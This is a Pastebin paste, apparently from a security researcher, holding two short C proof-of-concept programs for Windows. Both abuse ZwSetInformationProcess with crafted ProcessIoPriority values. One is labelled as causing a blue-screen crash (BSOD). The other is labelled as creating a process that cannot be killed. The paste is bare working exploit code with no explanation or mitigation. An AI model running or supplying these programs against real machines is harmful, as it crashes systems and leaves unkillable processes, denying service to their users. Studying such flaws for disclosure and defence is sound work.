Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- //http://waleedassar.blogspot.com
- //http://www.twitter.com/waleedassar
- BSOD:
- #define ProcessIoPriority 0x21
- int main()
- {
- unsigned long val=0xFFFFFFFF;
- int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
- if(ret<0) printf("Error %x\r\n",ret);
- ExitProcess(0);
- return 0;
- }
- Non-Killable Process:
- #define ProcessIoPriority 0x21
- int main()
- {
- unsigned long val=0x8000F129;
- int ret=ZwSetInformationProcess(GetCurrentProcess(),ProcessIoPriority,&val,0x4);
- if(ret<0) printf("Error %x\r\n",ret);
- ExitProcess(0);
- return 0;
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement